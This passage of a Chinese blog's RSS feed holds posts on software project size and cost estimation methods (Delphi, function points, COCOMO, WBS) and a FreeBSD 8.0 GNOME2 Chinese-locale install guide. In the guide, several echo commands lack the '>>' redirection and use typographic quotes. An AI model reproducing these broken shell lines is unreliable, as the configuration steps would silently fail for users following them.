    软件工程师经常会被问到，编一个什么什么样的软件需要多长时间、多少钱。面对这个问题，有不少人很犯难，因为，第一用户的需求太不具体，第二，自己缺乏一个科学的估计方法。这里向大家介绍几种软件项目规模的估计方法。<br />
    概念介绍先介绍一个衡量软件项目规模最常用的概念——LOC（Line of Code），LOC指所有的可执行的源代码行数，包括可交付的工作控制语言（JCL：Job Control Language）语句、数据定义、数据类型声明、等价声明、输入/输出格式声明等。一代码行（1LOC）的价值和人月均代码行数可以体现一个软件生产组织的生产能力。组织可以根据对历史项目的审计来核算组织的单行代码价值。<br />
    例如，某软件公司统计发现该公司每一万行C语言源代码形成的源文件（。c和。h文件）约为250K.某项目的源文件大小为3.75M，则可估计该项目源代码大约为15万行，该项目累计投入工作量为240人月，每人月费用为10000元（包括人均工资、福利、办公费用公滩等），则该项目中1LOC的价值为：（240×10000）/150000＝16元/LOC改项目的人月均代码行数为：150000/240=625LOC/人月方法一、Delphi 法Delphi法是最流行的专家评估技术，在没有历史数据的情况下，这种方式适用于评定过去与将来，新技术与特定程序之间的差别，但专家&#8221;专&#8221;的程度及对项目的理解程度是工作中的难点，尽管Delphi技术可以减轻这种偏差，专家评估技术在评定一个新软件实际成本时通常用得不多，但是，这种方式对决定其它模型的输入时特别有用。Delphi法鼓励参加者就问题相互讨论。这个技术，要求有多种软件相关经验人的参与，互相说服对方。<br />
    Delphi法的步骤是：1、协调人向各专家提供项目规格和估计表格；2、协调人召集小组会各专家讨论与规模相关的因素；3、各专家匿名填写迭代表格；4、协调人整理出一个估计总结，以迭代表的形式返回专家；5、协调人召集小组会，讨论较大的估计差异；6、专家复查估计总结并在迭代表上提交另一个匿名估计；7、重复4-6， 直到达到一个最低和最高估计的一致。</p>
<p>    方法二、 类比法类比法适合评估一些与历史项目在应用领域、环境和复杂度的相似的项目，通过新项目与历史项目的比较得到规模估计。类比法估计结果的精确度取决于历史项目数据的完整性和准确度，因此，用好类比法的前提条件之一是组织建立起较好的项目后评价与分析机制，对历史项目的数据分析是可信赖的。<br />
    其基本步骤是：1、整理出项目功能列表和实现每个功能的代码行；2、标识出每个功能列表与历史项目的相同点和不同点，特别要注意历史项目做得不够的地方；3、通过步骤1和2得出各个功能的估计值；4、产生规模估计。<br />
    软件项目中用类比法，往往还要解决可重用代码的估算问题。估计可重用代码量的最好办法就是由程序员或系统分析员详细地考查已存在的代码，估算出新项目可重用的代码中需重新设计的代码百分比、需重新编码或修改的代码百分比以及需重新测试的代码百分比。根据这三个百分比，可用下面的计算公式计算等价新代码行：等价代码行 = [（重新设计% +重新编码% +重新测试%）/3]× 已有代码行比如：有10，000行代码，假定30%需要重新设计，50%需要重新编码，70%需要重新测试，那么其等价的代码行可以计算为：[ （30% + 50% + 70%）/3 ]× 10，000 = 5，000 等价代码行。<br />
    意即：重用这10000代码相当于编写5000代码行的工作量。<br />
    方法三、功能点估计法功能点测量是在需求分析阶段基于系统功能的一种规模估计方法。通过研究初始应用需求来确定各种输入、输出、计算和数据库需求的数量和特性。通常的步骤是：1、计算输入，输出，查询，主控文件，和接口需求的数目。<br />
    2、将这些数据进行加权乘。下表为一个典型的权值表。<br />
    功能类型 　权值<br />
    输入 　　　4<br />
    输出 　　　5<br />
    查询 　　　4<br />
    主控文件 　10<br />
    接口 　　　10<br />
    据发现，对一个软件产品的开发，功能点对项目早期的规模估计很有帮助。然而，在了解产品越多后，功能点可以转换为软件规模测量更常用的LOC.方法四、PERT估计法PERT对各个项目活动的完成时间按三种不同情况估计：一个产品的期望规模，一个最低可能估计，一个最高可能估计。用这三个估计用来得到一个产品期望规模和标准偏差的Pert 统计估计。Pert 估计可得到代码行的期望值E， 和标准偏差SD.详细的估计方法，读者可参考笔者所写的《应用PERT进行项目工期估计》一文</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1417.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>如何认识软件项目估算</title>
		<link>http://www.evanjiang.net.cn/archives/1415.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1415.html#comments</comments>
		<pubDate>Fri, 01 Jan 2010 01:57:20 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[项目管理]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1415</guid>
		<description><![CDATA[<p>虽然估算是一门科学，更是一门艺术，这个重要的活动不能以随意的方式来进行……因为估算是所有其他项目计划活动的基础，而项目计划又提供了通往成功的软件工程的道路图，所以，没有它我们就会搭错车。——Roger S. Pressman 《软件工程——实践者的研究方法》
    1、估算前的规划
    当我们的办公室内堆满了杂乱无章的文件时，恐怕无法知道对于我们真正有用的文件在哪里，当我们的软件相目中收集了各种需求、意见、问题时，我们也很难从中估算出整个项目的规模、工作量以及成本。因此，在估算之前我们首先要对众多信息进行整理、归类分析，从而得到一个条理清晰的项目计划，在这个计划提供的框架内，才可能开始正确的估算。精心的规划是任何一个软件开发项目成功与否的关键，有了规划就有如成竹在胸，之后无论风云变幻，都有应对入流的方法。当然只有正确的规划，才能给软件开发指引正确的方向。
    软件项目规划的重点是对人员角色、任务进度、经费、设备资源、工作成果等等做出合适的安排，制定出一些计划（包括高层的和细节的），使大家按照计划行事，最终顺利地达到预定的目标。
    1．1、规划的第一步：确定软件范围
    确定软件范围，就是确定目标软件的数据和控制、功能、性能、约束、接口以及可靠性。这项工作和需求分析是很类似的，如果之前已经达成需求分析规约，那么可以直接从《需求分析说明书》中把有用的部分拿来使用。如果还没有开始需求分析，关于确定软件范围的方法方面，我们可以采用许多需求分析技术（如需求诱导），从客户那里得到一个具体的软件范围。当然如果是一次全新的软件边界探索，就应当考虑软件本身可行性问题，包括团队是否具备在技术、财务、时间、资源上游可靠的保障，软件本身在市场上是否有可靠的竞争优势 ，等等。
    获得软件范围，最直接最可靠的来源就是用户对软件的需求描述。例如，在开发一个C/S架构的铁路供电段数据上报系统中，客户向我们提供了以下的目标软件需求描述：
    在供电站总部每天结束前要审核下属节点操作员（30~40个）的供电安全数据报表，要求每个节点必须在下午5：30~6：00之间上传数据。总部系统通过自动分析，整理出整个区内的安全形势报表，并自动反馈到每个节点。各个节点之间通过调制解调器拨号（MODEM）用内部电话线相连，每个节点电脑主机配备一个MODEM。上传数据为制式报表出了制式信息外，系统自动附加操作员姓名、上报时间、上报节点名称。信息一旦上传，节点端就不可以对已提交信息进行修改、删除，只能阅读、查询。节点间数据互相隔离，只有总部才具备对各个节点数据的管理权限，但是对于归档数据（一旦审核完毕的数据，就进行归档）总部不具备删改的权限。系统设置数据库管理员，独立于审核权限，其职责是对历史数据的清理维护。
    通过上面的描述，我们通过提炼和简化，得到软件的一下功能：
    ◆ 节点数据录入、查询、上传
    ◆ 总部数据汇总、查询、反馈
    ◆ 总部与节点的互联
    [...]]]></description>
			<content:encoded><![CDATA[<p>虽然估算是一门科学，更是一门艺术，这个重要的活动不能以随意的方式来进行……因为估算是所有其他项目计划活动的基础，而项目计划又提供了通往成功的软件工程的道路图，所以，没有它我们就会搭错车。——Roger S. Pressman 《软件工程——实践者的研究方法》<br />
    1、估算前的规划<br />
    当我们的办公室内堆满了杂乱无章的文件时，恐怕无法知道对于我们真正有用的文件在哪里，当我们的软件相目中收集了各种需求、意见、问题时，我们也很难从中估算出整个项目的规模、工作量以及成本。因此，在估算之前我们首先要对众多信息进行整理、归类分析，从而得到一个条理清晰的项目计划，在这个计划提供的框架内，才可能开始正确的估算。精心的规划是任何一个软件开发项目成功与否的关键，有了规划就有如成竹在胸，之后无论风云变幻，都有应对入流的方法。当然只有正确的规划，才能给软件开发指引正确的方向。<br />
    软件项目规划的重点是对人员角色、任务进度、经费、设备资源、工作成果等等做出合适的安排，制定出一些计划（包括高层的和细节的），使大家按照计划行事，最终顺利地达到预定的目标。<br />
    1．1、规划的第一步：确定软件范围<br />
    确定软件范围，就是确定目标软件的数据和控制、功能、性能、约束、接口以及可靠性。这项工作和需求分析是很类似的，如果之前已经达成需求分析规约，那么可以直接从《需求分析说明书》中把有用的部分拿来使用。如果还没有开始需求分析，关于确定软件范围的方法方面，我们可以采用许多需求分析技术（如需求诱导），从客户那里得到一个具体的软件范围。当然如果是一次全新的软件边界探索，就应当考虑软件本身可行性问题，包括团队是否具备在技术、财务、时间、资源上游可靠的保障，软件本身在市场上是否有可靠的竞争优势 ，等等。<br />
    获得软件范围，最直接最可靠的来源就是用户对软件的需求描述。例如，在开发一个C/S架构的铁路供电段数据上报系统中，客户向我们提供了以下的目标软件需求描述：<br />
    在供电站总部每天结束前要审核下属节点操作员（30~40个）的供电安全数据报表，要求每个节点必须在下午5：30~6：00之间上传数据。总部系统通过自动分析，整理出整个区内的安全形势报表，并自动反馈到每个节点。各个节点之间通过调制解调器拨号（MODEM）用内部电话线相连，每个节点电脑主机配备一个MODEM。上传数据为制式报表出了制式信息外，系统自动附加操作员姓名、上报时间、上报节点名称。信息一旦上传，节点端就不可以对已提交信息进行修改、删除，只能阅读、查询。节点间数据互相隔离，只有总部才具备对各个节点数据的管理权限，但是对于归档数据（一旦审核完毕的数据，就进行归档）总部不具备删改的权限。系统设置数据库管理员，独立于审核权限，其职责是对历史数据的清理维护。<br />
  <span id="more-1415"></span>  通过上面的描述，我们通过提炼和简化，得到软件的一下功能：<br />
    ◆ 节点数据录入、查询、上传<br />
    ◆ 总部数据汇总、查询、反馈<br />
    ◆ 总部与节点的互联<br />
    ◆ 总部数据库存储<br />
    ◆ 节点数据的本地存储<br />
    在本例中，软件的性能是潜在的。客户虽然没有明确提出，但是由于数据本身的重要性，要求系统在数据上传、反馈、存储过程中安全可靠。客户要求使用MODEM进行拨号连接，那么鉴于MODEM连接过程中可能会出现，由于拨号断开而道导致的数据丢失，在节点本地存放一份数据副本是有必要的。由于系统要求每天上传数据，总部数据库应当是7X24小时不间断服务的，再加上目前总部只有该系统运行接受数据任务，各节点数据量并不大，那么在建议用户选择服务器时，应当考虑性能稳定可靠，但并不一定要购买大容量磁盘阵列和高性能双CPU主机。由于每天上传数据接近下班时间，那么总部汇总数据应当是自动进行的，一旦分析发现重大问题，可以通过与外部网络的设置，向值班人员发送手机讯息、E-MAIL或其他警示。由于不同人员对于上报数据的权限不同，对于系统用户实行分级管理。不同级别的用户，具有对数据的不同管理权力，从而保证在软件使用过程中不发生混乱。<br />
    那么现在一个较为清晰的软件模型已经构造完毕，接下来我们需要进入计划的第二步：确定工作所需资源。<br />
    1．2、规划的第二步：确定工作所需资源<br />
    软件工作所需资源包括：工作环境（软硬件环境、办公室环境）、可复用软件资源（构件、中间件）、人力资源（包括不同各种角色的人员：分析师、设计师、测试师、程序员、项目经理……）。这三种资源的组成比例，可以看作一个金字塔的模式，最上面是人力资源、其次是可复用软件资源、最下面是工作环境。最上面的是组成比例最小的，最下面的是组成比例最大的部分。<br />
    ■ 人力资源<br />
    一个项目到底需要多少种职务的人员构成、多少数量的人员总量，再能成为最有创造力的团队呢？这恐怕是最让项目经理头疼的事情了。任何一个软件工程，都必须在确定软件的工作量之后，才能清楚地知道究竟需要多少人力才能以最小成本和最高效率完成任务。在这之前，不能盲目地进行人力扩充，而且绝对不能为了给公司抬高门面，盲目招收高学历。</p>
<p>    ■ 可复用软件资源<br />
    这是一个容易在计划阶段被忽视的重要资源，很多人总是进入编码阶段才发现可复用资源的价值和存在。经过长期的项目积累或是购买，公司的软件资源库中或许已经积累了大量的可复用资源，但在当前任务中，只能选择有价值的资源。根据不同的应用、时间、来源，可复用软件资源被分为以下几种：<br />
    可直接使用的构件：已有的，能够从第三方厂商获得或已经在以前的项目中开发过的软件。这些构件已经经过验证及确认且可以直接用在当前的项目中。<br />
    具有完全经验的构件：已有的为以前类似于当前要开发的项目建立的规约、设计、代码、或测试数据。当前软件项目组的成员在这些构件所代表的应用领域中具有丰富的经验。因此，对于这类构件进行所需的修改其风险相对较小。<br />
    具有部分经验的构件：已有的为以前与当前要开发的项目相关的项目建立的规约、设计、代码、或测试数据，但需做实质上的修改。当前软件项目组的成员在这些构件所代表的应用领域中仅有有限的经验，因此，对于这类构件进行所需的修改会有相当程度的风险。<br />
    新构件：软件项目组为满足当前项目的特定需要而必须专门开发的软件构件。<br />
    在采用构件的时候，应当以低成本、低风险为使用前提。如果任何一个漂亮的构件的应用，可能会带来潜在出错的风险或者必须经过复杂修改或者效率低下时，我们都应当毫不犹豫地把它抛弃。我们只采用那些能够满足项目的需要且可直接使用的构件，或者具有完全经验的构件，或者经过稍微修改便可使用的构件。<br />
    ■ 环境资源<br />
    “工欲善其事，必先利其器”，要得到高效的开发过程，就必须向工作人员提供良好的软硬件环境，包括开发工具、开发设备、工作环境、管理制度。一般管理人员都会购买可以满足需要的软件开发工具和硬件平台，但是工作环境和管理制度往往被忽视。<br />
    站在人件的角度看，向工作人员提供更轻松自在、安静舒适的办公环境的公司员工往往比整天在狭小隔间中工作的公司员工，产生更高的工作效率。而那些拥有灵活人性化的管理制度的公司，比整天加班的公司更能留住高技术的人才。所以如何在有限资金中，规划一个合理的环境是很重要的事情。<br />
    到此为止，估算前的项目计划已经完成，我们已经形成一个工程开发框架。这是一个有界限的框架，虽然还不够精确，但足以进行估算的工作。<br />
 2、估算的对象<br />
    目前为止，一个较为准确的软件项目估算的定义是：在给定公差范围内，对于姚开发的软件规模的预测，以及对开发软件所需的工作量、成本和日历事件的预测。这个概念指出了一个事实，即估算是一种大约的估计，是将误差限定在一定范围内的估计。<br />
    估算主要包括以下几个重要内容：<br />
    ◆ 规模估算<br />
    软件估算首先要将整个工程的规模估算出来，才能进行下面的其他估算。规模，就是一个工程可量化的结果，是用具体数字来体现项目的描述。规模估算的信息来源是清晰、有界限的用户需求。<br />
    ◆ 工作量估算<br />
    这是对开发软件所需的工作时间的估算，它和进度估算一起决定了开发团队的规模和构建。通常以人时、人天、人月、人年的单位来衡量，这些不同单位之间可以进行合理的转换。<br />
    ◆ 进度估算<br />
    进度时项目自始至终之间的一个时间段。进度以不同阶段的里程碑作为标志。进度估算是针对以阶段为单位的估算，而不是对每一个细小任务都加以估算，对任务的适当分解很重要，分解得越细反而会不准确。因为任何一个软件工程，在各个方面都有与生俱来的不确定性。<br />
    ◆ 成本估算<br />
    包括人力、物质、有形的、无形的支出成本估算，其中以人力成本为主要部分。比较容易被忽视的使学习成本、软件培训成本、人员变动风险成本、开发延期成本等，一些潜在成本消耗。<br />
    3、估算的策略<br />
    在软件估算的众多方法中，存在着“自顶向下”和“自底向上”两种不同的策略，两种策略的出发点不同，适应于不同的场合使用。<br />
    3．1、自顶向下的策略<br />
    这是一种站在客户的角度来看问题的策略。它总是以客户的要求为最高目标，任何估算结果都必须符合这个目标。其工作方法是，由项目经理为主的一个核心小组根据客户的要求，确定一个时间期限，然后根据这个期限，将任务分解，将开发工作进行对号入座，以获得一个估算结果。<br />
    当然由于这完全是从客户要求出发的策略，而由于软件工程是一个综合项目，几乎没有哪个项目能完全保质保量按照预定工期完工，那么这样一个策略就缺少了许多客观性。但是由于这样完成的估算比较容易被客户、甚至被项目经理所接受，在许多公司我们看到这样一个并不科学的策略仍然被坚定地执行着。<br />
    3．2、自底向上的策略<br />
    与自顶向下的策略完全相反，自底向上的策略是一种从技术、人性的角度出发看问题的策略。在这样一个策略指引下，将项目充分讨论得到一个合理的任务分解。在将每个任务的难易程度，每个任务依照项目成员的特点、兴趣特长进行分配，并要求进行估算。最后将估算加起来就是项目的估算值。<br />
    显然自底向上的这种策略具有较为客观的特点，但是它的缺点就是这样一来项目工期就和客户的要求不一致了。而且由于其带来的不确定性，许多项目经理也不会采用这种方法。<br />
    4、估算的方法<br />
    显然估算是建立在客观实际上，对未来尽可能合理的一种预测。那么估算本身的不确定性，决定了它不可能是百分之百准确无误的。在项目刚开始时，人们对产品需求、技术、市场预期、人员素质等因素的了解还远远不够，在这种情况下人们很难作出准确的估计。但是依据某种方法进行估计显然比瞎猜好得多。<br />
    估算方法有很多，大致分为基于分解的技术和基于经验模型两大类。基于分解的技术的方法包括功能点估算法、LOC估算法、MARK II等；基于经验模型的方法包括IBM模型、普特南模型、COCOMO模型等。<br />
    4．1、FP功能点估算法<br />
    功能点估算法是一种在需求分析阶段基于系统功能的一种规模估计方法。通过研究初始应用需求来确定各种输入、输出、计算和数据库需求的数量和特性。这种方法的计算公式是：功能点=信息处理规模x技术复杂度。信息处理规模包括各种输入、输出、查询、内部逻辑文件数、外部接口文件数等等；技术复杂度包括性能复杂度、配置项目复杂度、数据通信复杂度、分布式处理复杂度、在线更新复杂度等等。<br />
    4．2、LOC估算法<br />
    这是一种从技术的角度来估算的方法总称，其中又包含许多方法。这类方法以代码（LOC）作为软件工作量的估算单位，在早期的系统开发中较为广泛使用。基于LOC的估算，又有点也有缺点。优点在于方便计算、容易监控、能反映程序员的思维能力；缺点在于代码行数的含糊不清，不能正确反映一项工作的难易程度以及代码的效率。因此在传统的LOC方法进行了许多改进。其中不断被使用，且不断演化的方法包括以下：<br />
    PERT功能点估算法：PERT对各个项目活动的完成时间按三种不同情况估计：一个产品的期望规模，一个最低可能估计，一个最高可能估计。用这三个估计用来得到一个产品期望规模和标准偏差的Pert 统计估计，Pert 估计可得到代码行的期望值和标准偏差SD。<br />
    类比估算法：类比法适合评估一些与历史项目在应用领域、环境和复杂度的相似的项目，通过新项目与历史项目的比较得到规模估计。类比法估计结果的精确度取决于历史项目数据的完整性和准确度，因此，用好类比法的前提条件之一是组织建立起较好的项目后评价与分析机制，对历史项目的数据分析是可信赖的。<br />
    Delphi估算法：Delphi法是一种专家评估技术，在没有历史数据的情况下，这种方式适用于评定过去与将来，新技术与特定程序之间的差别。对于需要预测和深度分析的领域，依赖于专家的技术指导，可以获得较为客观的估算。通过专家们的互相讨论，还可以博取众长。<br />
    系统分解：将系统分成若干个易于用LOC估算的部分，将其各个估算结果累加就是LOC的总规模。其中关键是建立起SBS（系统分解结构），它描述了系统的不同组件。SBS还被使用在其他重要的地方，如系统设计、系统分析等。在进行分解的时候，可以采用自由讨论的形式，可以获得更合理的SBS构成。<br />
 4．3、IBM模型估算法<br />
    该模型是Watson和Felix在1977年发布的，是基于IBM联合系统分布负责的60个项目的总结而得到的模型。该模型是一个静态模型，而参考数据只有60多个项目，因此有很大的局限性。<br />
    4．4、COCOMO估算法<br />
    Boehm在其经典著作“软件工程经济学”(software engineering conomics)中，介绍了一种软件估算模型的层次体系， 称为COCOMO(构造性成本模型，COnstructive COst MOdel)，它代表了软件估算的一个综合经验模型。<br />
    COCOMO 模型是适用于三种类型的软件项目：(1)组织模式——较小的、简单的软件项目，有良好应用经验的小型项目组，针对一组不是很严格的需求开展工作(如，为一个热传输系统开发的热分析程序)；(2)半分离模式——一个中等的软件项目(在规模和复杂性上)，具有不同经验水平的项目组必须满足严格的及不严格的需求(如，一个事务处理系统，对于终端硬件和数据库软件有确定需求)；(3)嵌入模式——必须在一组严格的硬件、软件及操作约束下开发的软件项目(如，飞机的航空控制系统)。<br />
    4．5、软件方程式估算法<br />
    软件方程式是一个多变量模型，它假设在软件开发项目的整个生命周期中的一个特定的工作量分布。该模型是从4000 多个当代的软件项目中收集的生产率数据中导出的公式。初期的方程式较为复杂，通过，Putnam 和Myers的努力又提出一组简化的方程式。当然这种方法也是基于长期的参考数据的积累而得到的。<br />
    4．6、WBS估算法<br />
    这是一种基于WBS（工作任务分解）的方法，即先把项目任务进行合理的细分，分到可以确认的程度，如某种材料，某种设备，某一活动单元等。然后估算每个WBS要素的费用。采用这一方法的前提条件或先决步骤是：<br />
    对项目需求作出一个完整的限定。<br />
    制定完成任务所必需的逻辑步骤。<br />
    编制WBS表。<br />
    项目需求的完整限定应包括工作报告书、规格书以及总进度表。工作报告书是指实施项目所需的各项工作的叙述性说明，它应确认必须达到的目标。如果有资金等限制，该信息也应包括在内。规格书是对工时、设备以及材料标价的根据。它应该能使项目人员和用户了解工时、设备以及材料估价的依据。总进度表应明确项目实施的主要阶段和分界点，其中应包括长期定货、原型试验、设计评审会议以及其他任何关键的决策点。如果可能，用来指导成本估算的总进度表应含有项目开始和结束的日历时间。<br />
    除了以上介绍的几种方法外，还有一些其他的方法：类比估算、推测估算、Standard-component估算法、普特南估算法等。当然不同的方法适用于不同的具体环境，有些方法虽然很好但并不一定适合当前的任务。只有量体裁衣，具体问题具体分析，才能得到尽量合理的估算。<br />
    5、估算的戒律<br />
    记住：应该满足于事物的本性所能容许的精确度，当只能近似于真理时，不要去寻求绝对的准确??            ——亚里斯多德<br />
    对于任何一个项目经理，都知道要慎重估算，但是我们仍然会看到人力资源的浪费和财力资源的匮乏，在许多项目中存在。对于宝贵的资源，我们不是用得太多，就是根本不够用。因此，有以下前人总结出来的一些经验以供借鉴。<br />
    不要追求完美：就像没有人能预测出未来，如果还没有完成，就不要企图完美的结果。更何况估算的太精确，反而会失去灵活机动的空间。</p>
<p>    不要为满足预算而估算：如果这个项目的预算根本不能完成100%的任务，那么就不要让你的团队委曲求全。正确地反映客观现状，不仅可以争取应得的权利，而且是完成任务的前提。</p>
<p>    不要随意削减估算结果：有很多老板喜欢把项目经理递交的估算，不假思索地砍掉一部分。这是一种不负责任的做法，如果要削减一定要有理由。<br />
    客观地估算，不贪多不偷减：就像老板不能随便削减你的估算一样，你也同样不能在估算的时候，贪多或是偷减。贪多必然导致会浪费，偷减必然导致不足。这两个结果恐怕都不是一个合格的项目经理的作为。</p>
<p>    客观利用过去的经验：对于以往估算的经验，当然是宝贵的财富，但是如果财富用错了地方就会变成垃圾。在使用经验时，要注意现在和参考经验之间的差异。不要忘记，随着时间的推移，计算机领域技术的更新，许多观念都在发生着改变。<br />
    不要以客户目标作为估算的结果：客户是上帝，软件公司一定要尽力实现客户的需求。但我们要实现的是合理的目标，况且不能为了完成目标而去堆积数字，这样岂不是因果倒置了。<br />
    不要隐匿不确定的成本：软件开发中存在潜在风险，是很正常的事情。现在风险就会带来潜在的成本，如：突然一位程序员离职，导致工作进度路落后。我们不可能估算到任何一种可能发生的情况，但有责任把可能出现的一些关键环节列出来。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1415.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>FreeBSD 8.0 releases Gnome2 简体中文安装全攻略(网上转摘）</title>
		<link>http://www.evanjiang.net.cn/archives/1413.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1413.html#comments</comments>
		<pubDate>Fri, 01 Jan 2010 01:52:35 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[freebsd unix]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1413</guid>
		<description><![CDATA[<p>一、Mini+sys内核源码安装FreeBSD 8.0 releases后，
安装三个主要的基础包，为什么用包不编译，是因为编译时间太长
CODE:
setenv PACKAGEROOT ftp://ftp.freebsdchina.org
pkg_add -r xorg
pkg_add -r gnome2
rehash</p>
<p>上面三个要事觉得慢，可以在三个终端中同步进行。</p>
<p>二、中文环境安装设置</p>
<p>1.安装字体
CODE:
cd /usr/local/lib/X11/fonts/TTF
fetch http://雅黑字体存放路径/msyh.ttf
mkfontdir
mkfontscale
fc-cache  -fv</p>
<p>2.设置csh为中文环境
CODE:
echo &#8220;setenv PACKAGEROOT ftp://ftp.freebsdchina.org&#8221; ~/.cshrc
echo &#8220;setenv LANG zh_CN.UTF-8&#8243; ~/.cshrc
echo &#8220;setenv LC_CTYPE zh_CN.UTF-8&#8243; ~/.cshrc
echo &#8220;setenv LC_ALL zh_CN.UTF-8&#8243; ~/.cshrc
echo &#8220;setenv XMODIFIERS @im=fcitx&#8221; ~/.cshrc

3.设置
CODE:
echo &#8220;/usr/local/bin/gnome-session&#8221; > ~/.xinitrc
echo &#8220;exec fcitx &#038;&#8221; ~/.xinitrc</p>
<p>三、显卡驱动安装</p>
<p>FreeBSD nVidia官方没有提供驱动，只能用ports中的
不过俺看好像也是通过日本的nVidia站点中下载的&#8230;
这个俺还没弄懂为什么，不过俺也不需要懂，能用就成。</p>
<p>1.安装cvsup和更新ports
CODE:
pkg_add -r cvsup
sed &#8217;s:*default host=CHANGE_THIS.FreeBSD.org:*default host=cvsup.freebsdchina.org:&#8217; /usr/share/examples/cvsup/ports-supfile > /usr/ports-supfile
cvsup -g L 2 /usr/ports-supfile</p>
<p>2.通过ports安装nVida显卡驱动
此部分仅FreeBSD 8.0 releases版本安装nVidia驱动有效，未在其它环境测试。
编译nVida显卡驱动需要linux_base-f10，安装linux_base-f10必须先要让系统装载一次linux模块&#8230;.
CODE:
echo [...]]]></description>
			<content:encoded><![CDATA[<p>一、Mini+sys内核源码安装FreeBSD 8.0 releases后，<br />
安装三个主要的基础包，为什么用包不编译，是因为编译时间太长<br />
CODE:<br />
setenv PACKAGEROOT ftp://ftp.freebsdchina.org<br />
pkg_add -r xorg<br />
pkg_add -r gnome2<br />
rehash</p>
<p>上面三个要事觉得慢，可以在三个终端中同步进行。</p>
<p>二、中文环境安装设置</p>
<p>1.安装字体<br />
CODE:<br />
cd /usr/local/lib/X11/fonts/TTF<br />
fetch http://雅黑字体存放路径/msyh.ttf<br />
mkfontdir<br />
mkfontscale<br />
fc-cache  -fv</p>
<p>2.设置csh为中文环境<br />
CODE:<br />
echo &#8220;setenv PACKAGEROOT ftp://ftp.freebsdchina.org&#8221; ~/.cshrc<br />
echo &#8220;setenv LANG zh_CN.UTF-8&#8243; ~/.cshrc<br />
echo &#8220;setenv LC_CTYPE zh_CN.UTF-8&#8243; ~/.cshrc<br />
echo &#8220;setenv LC_ALL zh_CN.UTF-8&#8243; ~/.cshrc<br />
echo &#8220;setenv XMODIFIERS @im=fcitx&#8221; ~/.cshrc<br />
<span id="more-1413"></span><br />
3.设置<br />
CODE:<br />
echo &#8220;/usr/local/bin/gnome-session&#8221; > ~/.xinitrc<br />
echo &#8220;exec fcitx &#038;&#8221; ~/.xinitrc</p>
<p>三、显卡驱动安装</p>
<p>FreeBSD nVidia官方没有提供驱动，只能用ports中的<br />
不过俺看好像也是通过日本的nVidia站点中下载的&#8230;<br />
这个俺还没弄懂为什么，不过俺也不需要懂，能用就成。</p>
<p>1.安装cvsup和更新ports<br />
CODE:<br />
pkg_add -r cvsup<br />
sed &#8217;s:*default host=CHANGE_THIS.FreeBSD.org:*default host=cvsup.freebsdchina.org:&#8217; /usr/share/examples/cvsup/ports-supfile > /usr/ports-supfile<br />
cvsup -g L 2 /usr/ports-supfile</p>
<p>2.通过ports安装nVida显卡驱动<br />
此部分仅FreeBSD 8.0 releases版本安装nVidia驱动有效，未在其它环境测试。<br />
编译nVida显卡驱动需要linux_base-f10，安装linux_base-f10必须先要让系统装载一次linux模块&#8230;.<br />
CODE:<br />
echo &#8220;linux_enable=&#8221;YES&#8221;" >> /etc/rc.conf<br />
kldload linux<br />
pkg_add -r linux_base-f10</p>
<p>nVidia驱动按照自己的显卡型号，选择适应的驱动。驱动在/usr/ports/x11<br />
CODE:<br />
nvidia-driver-173/<br />
nvidia-driver-71/<br />
nvidia-driver-96/<br />
nvidia-driver/</p>
<p>俺是最新的9600GT所以直接选择了nvidia-driver<br />
CODE:<br />
cd /usr/ports/x11/nvidia-driver<br />
make install clean<br />
kldload nvidia</p>
<p>3.让FreeBSD在启动是装载nvidia驱动。<br />
CODE:<br />
echo &#8220;nvidia_load=&#8221;YES&#8221;" >> /boot/loader.conf</p>
<p>四、xorg.conf的配置和Gnome2的启动。<br />
有人说可以不要，但是我觉得我在里面的改动完全都在Gnome2中体现出来。<br />
Xorg -configure<br />
如果是ps/2鼠标<br />
CODE:<br />
cp ~/xorg.conf.new /etc/X11/xorg.conf<br />
echo &#8220;hald_enable=&#8221;YES&#8221;" >> /etc/rc.conf<br />
echo &#8220;dbus_enable=&#8221;YES&#8221;" >> /etc/rc.conf</p>
<p>如果是usb鼠标<br />
CODE:<br />
sed &#8217;s:/dev/sysmouse:/dev/usm0:&#8217; ~/xorg.conf.new > /etc/X11/xorg.conf<br />
echo &#8220;moused_type=&#8221;NO&#8221;" >> /etc/rc.conf<br />
echo &#8220;moused_enable=&#8221;NO&#8221;" >> /etc/rc.conf</p>
<p>startx<br />
如果nvidia进入Gnome2没有加载nvidia的驱动，就编辑/etc/X11/xorg.conf<br />
把<br />
CODE:<br />
Driver          &#8220;nv&#8221;</p>
<p>改为<br />
CODE:<br />
Driver          &#8220;nvidia&#8221;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1413.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>怎样做好IT项目成本预算</title>
		<link>http://www.evanjiang.net.cn/archives/1407.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1407.html#comments</comments>
		<pubDate>Wed, 23 Dec 2009 13:12:03 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[项目管理]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1407</guid>
		<description><![CDATA[<p>信息化项目是一个烧钱的游戏，这已经是很多企业管理者脑袋对于信息化项目的一个直观的印象。其实呢，信息化项目比起企业其他项目来说，还是小儿科，如一个新产品的研发或者新生产线的投入，都是动辄十万、百万起步的。那为什么偏偏会给信息化项目扣上这么一顶高帽子呢？根据笔者的了解，这其中有两方面的原因。一是这些信息化项目的投资，其回报是无形的，很难利用金钱来衡量信息化项目的投资回报；二是由于很多信息化项目管理人员没有成本预算的相关知识，所以，他们在做项目报告的时候，根本没有做相关的成本预算或者所作的预算跟最后的成本支出相差甚远，他们只知道没钱了就像老板要钱。长久下去，就在投资者心中形成了这么一个坏印象。
